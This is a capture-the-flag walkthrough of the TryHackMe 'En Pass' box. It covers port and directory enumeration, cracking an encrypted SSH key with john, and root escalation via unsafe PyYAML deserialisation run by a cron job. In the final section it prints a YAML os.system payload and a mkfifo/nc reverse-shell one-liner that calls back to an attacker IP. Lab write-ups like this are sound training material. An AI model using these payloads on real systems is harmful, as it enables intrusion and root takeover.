TryHackMe: En Pass

TryHackMe: En-pass by Kiransau

Think-out-of-the-box

Name The Path.

What is the user flag?

What is the root flag?

Enumeration

Break out rustscan

╰─⠠⠵ rustscan -a enpass --ulimit 10000 -- -sC -sV -A -oA enpass   
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Nmap? More like slowmap.🐢

[~] The config file is expected to be at "/home/tj/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.195.84:22
Open 10.10.195.84:8001
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-10 20:54 GMT
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:54
Completed NSE at 20:54, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:54
Completed NSE at 20:54, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:54
Completed NSE at 20:54, 0.00s elapsed
Initiating Ping Scan at 20:54
Scanning 10.10.195.84 [2 ports]
Completed Ping Scan at 20:54, 0.04s elapsed (1 total hosts)
Initiating Connect Scan at 20:54
Scanning enpass (10.10.195.84) [2 ports]
Discovered open port 22/tcp on 10.10.195.84
Discovered open port 8001/tcp on 10.10.195.84
Completed Connect Scan at 20:54, 0.07s elapsed (2 total ports)
Initiating Service scan at 20:54
Scanning 2 services on enpass (10.10.195.84)
Completed Service scan at 20:54, 6.08s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.195.84.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:54
Completed NSE at 20:54, 1.72s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:54
Completed NSE at 20:54, 0.32s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:54
Completed NSE at 20:54, 0.00s elapsed
Nmap scan report for enpass (10.10.195.84)
Host is up, received conn-refused (0.046s latency).
Scanned at 2021-02-10 20:54:36 GMT for 8s

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8a:bf:6b:1e:93:71:7c:99:04:59:d3:8d:81:04:af:46 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCicax/djwvuiP5H2ET5UJCYL3Kp7ukHPJ0YWsSBUc6o8O/wwzOkz82yJRrZAff40NmLEpbvf0Sxw2JhrtoxDmdj+FSHpV/xDUG/nRE0FU10wDB75fYP4VFKR8QbzwDu6fxkgkZ3SAWZ9R1MgjN3B49hywgwqMRNtw+z2r2rXeF56y1FFKotBtK1wA223dJ8BLE+lRkAZd4nOr5HFMwrO+kWgYzfYJgSQ+5LEH4E/X7vWGqjdBIHSoYOUvzGJJmCum2/MOQPoDw5B85Naw/aMQqsv7WM1mnTA34Z2eTO23HCKku5+Snf5amqVwHv8AfOFub0SS7AVfbIyP9fwv1psbP
|   256 40:fd:0c:fc:0b:a8:f5:2d:b1:2e:34:81:e5:c7:a5:91 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBENyLKEyFWN1XPyR2L1nyEK5QiqJAZTV2ntHTCZqMtXKkjsDM5H7KPJ5EcYg5Rp1zPzaDZxBmPP0pDF1Rhko7sw=
|   256 7b:39:97:f0:6c:8a:ba:38:5f:48:7b:cc:da:72:a8:44 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJmb0JdTeq8kjq+30Ztv/xe3wY49Jhc60LHfPd5yGiRx
8001/tcp open  http    syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: En-Pass
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:54
Completed NSE at 20:54, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:54
Completed NSE at 20:54, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:54
Completed NSE at 20:54, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.84 seconds

22/ssh

No password, let's skip for now

8001/tcp

Apache 2.4.18 web server

8001/tcp open  http    syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: En-Pass
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>En-Pass</title>
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-giJF6kkoqNQ00vy+HMDP7azOuL0xtbfIcaT9wjKHr8RbDVddVHyTfAAsrekwKmP1" crossorigin="anonymous">
<style>
  body {
    background-color: rgb(196, 210, 235);
  }

</style>
</head>
<body>
  <nav class="navbar navbar-light bg-light text-center">
    <div class="container-fluid ">
      
      <a class="navbar-brand ">En-Pass</a>
  
    </div>
  </nav>
  
<div class="container">

  <div id="carouselExampleCaptions" class="carousel slide" data-bs-ride="carousel">
    <ol class="carousel-indicators">
      <li data-bs-target="#carouselExampleCaptions" data-bs-slide-to="0" class="active"></li>
      <li data-bs-target="#carouselExampleCaptions" data-bs-slide-to="1"></li>
      <li data-bs-target="#carouselExampleCaptions" data-bs-slide-to="2"></li>
    </ol>
    <div class="carousel-inner">
      <div class="carousel-item active">
        <img src="patan.jpg" class="d-block w-100" alt="img1">
        <div class="carousel-caption d-none d-md-block">
          <p>Ehvw ri Oxfn!!</p>
        </div>
      </div>
      <div class="carousel-item">
        <img src="patan2.jpg" class="d-block w-100" alt="img2">
        <div class="carousel-caption d-none d-md-block">
          <p>U2FkCg==Z</p>
        </div>
      </div>
      <div class="carousel-item">
        <img src="3.jpg" class="d-block w-100" alt="img2">
        <div class="carousel-caption d-none d-md-block">
          <p> See every person as a mountain of sorts; we can see how they look from afar, but will never know them until we explore.</p>
        </div>
      </div>

    </div>
    <a class="carousel-control-prev" href="#carouselExampleCaptions" role="button" data-bs-slide="prev">
      <span class="carousel-control-prev-icon" aria-hidden="true"></span>
      <span class="visually-hidden">Previous</span>
    </a>
    <a class="carousel-control-next" href="#carouselExampleCaptions" role="button" data-bs-slide="next">
      <span class="carousel-control-next-icon" aria-hidden="true"></span>
      <span class="visually-hidden">Next</span>
    </a>
  </div>

</div>

</body>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta1/dist/js/bootstrap.bundle.min.js" integrity="sha384-ygbV9kiqUc6oa4msXn9868pTtWMgiQaeYH7/t7LECLbyPA2x65Kgf80OJFdroafW" crossorigin="anonymous"></script>

</html>

Name The Path

Nothing Interesting in source code, lets pull down the pictures and check them

╰─⠠⠵ wget http://10.10.195.84:8001/patan.jpg
--2021-02-10 21:03:41--  http://10.10.195.84:8001/patan.jpg
Connecting to 10.10.195.84:8001... connected.
HTTP request sent, awaiting response... 200 OK
Length: 632710 (618K) [image/jpeg]
Saving to: ‘patan.jpg’

patan.jpg                       100%[====================================================>] 617.88K  3.03MB/s    in 0.2s    

2021-02-10 21:03:41 (3.03 MB/s) - ‘patan.jpg’ saved [632710/632710]


╰─⠠⠵ wget http://10.10.195.84:8001/patan2.jpg
--2021-02-10 21:03:48--  http://10.10.195.84:8001/patan2.jpg
Connecting to 10.10.195.84:8001... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4448955 (4.2M) [image/jpeg]
Saving to: ‘patan2.jpg’

patan2.jpg                      100%[====================================================>]   4.24M  6.64MB/s    in 0.6s    

2021-02-10 21:03:48 (6.64 MB/s) - ‘patan2.jpg’ saved [4448955/4448955]

╰─⠠⠵ wget http://10.10.195.84:8001/3.jpg 
--2021-02-10 21:03:57--  http://10.10.195.84:8001/3.jpg
Connecting to 10.10.195.84:8001... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1220897 (1.2M) [image/jpeg]
Saving to: ‘3.jpg’

3.jpg                           100%[====================================================>]   1.16M  3.05MB/s    in 0.4s    

2021-02-10 21:03:58 (3.05 MB/s) - ‘3.jpg’ saved [1220897/1220897]

Running strings, steghide and binwalk does not produce anything :( Let's run gobuster and see what we find.

╰─⠠⠵ gobuster dir -u http://enpass:8001/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,bak,zip,tar,tar.gz,tgz,phtml,db,sql,out,rar,js,pgp
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://enpass:8001/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     out,tar,tgz,db,html,tar.gz,js,txt,phtml,sql,rar,pgp,php,bak,zip
[+] Timeout:        10s
===============================================================
2021/02/10 21:10:35 Starting gobuster
===============================================================
/index.html (Status: 200)
/[REDACTED] (Status: 301)
/[REDACTED] (Status: 200)
/[REDACTED] (Status: 403)
/[REDACTED] (Status: 301)


Also find the below jpg

Hmm, again nothing in strings, steghide or binwalk so lets move on.


Ok, that is a lot of zips :( .... Let's rip the web dir down with wget

╰─⠠⠵ wget -m -k --no-parent http://10.10.195.84:8001/zip/
--2021-02-10 21:21:00--  http://10.10.195.84:8001/zip/
Connecting to 10.10.195.84:8001... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: ‘10.10.195.84:8001/zip/index.html’

10.10.195.84:8001/zip/index.htm     [ <=>                                                 ]  20.42K  --.-KB/s    in 0.06s   

Last-modified header missing -- time-stamps turned off.
2021-02-10 21:21:00 (331 KB/s) - ‘10.10.195.84:8001/zip/index.html’ saved [20911]

Loading robots.txt; please ignore errors.
--2021-02-10 21:21:00--  http://10.10.195.84:8001/robots.txt
Reusing existing connection to 10.10.195.84:8001.
HTTP request sent, awaiting response... 404 Not Found
2021-02-10 21:21:00 ERROR 404: Not Found.

--2021-02-10 21:21:00--  http://10.10.195.84:8001/zip/?C=N;O=D
Reusing existing connection to 10.10.195.84:8001.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: ‘10.10.195.84:8001/zip/index.html?C=N;O=D’

10.10.195.84:8001/zip/index.htm     [ <=>                                                 ]  20.42K  --.-KB/s    in 0.001s  

Last-modified header missing -- time-stamps turned off.
2021-02-10 21:21:00 (22.0 MB/s) - ‘10.10.195.84:8001/zip/index.html?C=N;O=D’ saved [20911]
...
...
...
...
...
...

Let's unzip'em all...

╰─⠠⠵ for i in `ls *zip` ; do unzip $i ; done 
Archive:  a0.zip
 extracting: a                       
Archive:  a100.zip
replace a? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
 extracting: a                       
Archive:  a10.zip
replace a? [y]es, [n]o, [A]ll, [N]one, [r]ename: 

Ahh buggerrr....... unzip'ing them all produces a file called a from each that contains sadman so lets move on with /web

╰─⠠⠵ gobuster dir -u http://enpass:8001/web/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,bak,zip,tar,tar.gz,tgz,phtml,db,sql,out,rar,js,pgp
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://enpass:8001/[REDACTED]/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     rar,txt,html,bak,tar,pgp,php,phtml,out,js,zip,tar.gz,tgz,db,sql
[+] Timeout:        10s
===============================================================
2021/02/10 21:28:40 Starting gobuster
===============================================================
/[REDACTED] (Status: 301)

╰─⠠⠵ gobuster dir -u http://enpass:8001/[REDACTED]/[REDACTED]/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt # -x php,txt,html,bak,zip,tar,tar.gz,tgz,phtml,db,sql,out,rar,js,pgp
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://enpass:8001/[REDACTED]/[REDACTED]/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/02/10 21:30:07 Starting gobuster
===============================================================
/[REDACTED] (Status: 301)

╰─⠠⠵ gobuster dir -u http://enpass:8001/[REDACTED]/[REDACTED]/[REDACTED] -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt # -x php,txt,html,bak,zip,tar,tar.gz,tgz,phtml,db,sql,out,rar,js,pgp
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://enpass:8001/[REDACTED]/[REDACTED]/[REDACTED]
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/02/10 21:31:07 Starting gobuster
===============================================================
/[REDACTED] (Status: 301)

╰─⠠⠵ gobuster dir -u http://enpass:8001/[REDACTED]/[REDACTED]/[REDACTED]/[REDACTED] -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt # -x php,txt,html,bak,zip,tar,tar.gz,tgz,phtml,db,sql,out,rar,js,pgp
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://enpass:8001/[REDACTED]/[REDACTED]/[REDACTED]/[REDACTED]
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/02/10 21:31:43 Starting gobuster
===============================================================
/[REDACTED] (Status: 200)

Answer: [REDACTED]

What is the user flag

From the above URI we get a encrypted key

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,3A3DBCAED659E70F7293FA98DB8C1802


-----END RSA PRIVATE KEY-----

Time to break out john

╰─⠠⠵ /opt/john/run/ssh2john.py id_rsa > hash

╰─⠠⠵ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status

When we leave that running we go back to reg.php , looking at the source code we need to enter a value that contains no letters or numbers and has several values separated by a , .... grabbing the source code from the page and then adding the below php I reverse and test values to find the correct value

          echo "<pre style='color: white;'>";
          echo "should be 2:" . strlen($val[0]) . "<br />";
          echo "should be 3:" . strlen($val[8]) . "<br />";
          echo $val[5] . "!=" . $val[8] . "<br />";
          echo $val[3] . "!=" .  $val[7] . "<br />";

[REDACTED]

Nice. Password : [REDACTED]

Using the above with john we get

╰─⠠⠵ john hash --wordlist=pass
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates left, minimum 4 needed for performance.
[REDACTED] (id_rsa)
1g 0:00:00:00 DONE (2021-02-10 21:57) 33.33g/s 66.66p/s 66.66c/s 66.66C/s [REDACTED]?..[REDACTED]
Session completed

This confirms the password, now we need a user ... sadman and cimihan do not work so lets find another username.... Each of the pictures on the front page has a different caption ....

Ehvw ri Oxfn!!

U2FkCg==Z

See every person as a mountain of sorts; we can see how they look from afar, but will never know them until we explore.

After some help from Papadopejk confirming my suspicions and helping me with LFI we find the username via http://enpass:8001/403.php/[REDACTED]/

$ ssh -i id_rsa [REDACTED]@enpass
Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-201-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

1 package can be updated.
1 of these updates is a security update.
To see these additional updates run: apt list --upgradable


$ bash
[REDACTED]@enpass:~$ cat user.txt 
[REDACTED]

Answer: [REDACTED]

Root.txt

Looking around I see '/opt/scripts/file.py'

#!/usr/bin/python
import yaml


class Execute():
        def __init__(self,file_name ="/tmp/file.yml"):
                self.file_name = file_name
                self.read_file = open(file_name ,"r")

        def run(self):
                return self.read_file.read()

data  = yaml.load(Execute().run())

Playing around I see every 60s the file is deleted, this means it is either on a cronjob or systemd timer. A bit of Google leads me to https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation

So setting /tmp/file.yml contents to !!python/object/new:os.system [cat /root/*.txt |wall ] results in

Broadcast message from root@enpass (somewhere) (Thu Feb 11 01:56:01 2021):     
                                                                               
[REDACTED]    

Of course we could change the contents to be

!!python/object/new:os.system [rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.5.198 4444 >/tmp/f ]

which would give us a shell back

╰─⠠⠵ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.5.198] from (UNKNOWN) [10.10.99.215] 45922
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# crontab -l
* * * * * cd /tmp && sudo chown root:root /tmp/file.yml
* * * * * cd /opt/scripts && sudo /usr/bin/python /opt/scripts/file.py && sudo rm -f /tmp/file.yml

Boom!!!!

Another box done! Needed some help with the LFI ( It was late a night after a long day, that is my excuse anyway :p )but apart form that it was just a bit of grind to enumerate all things.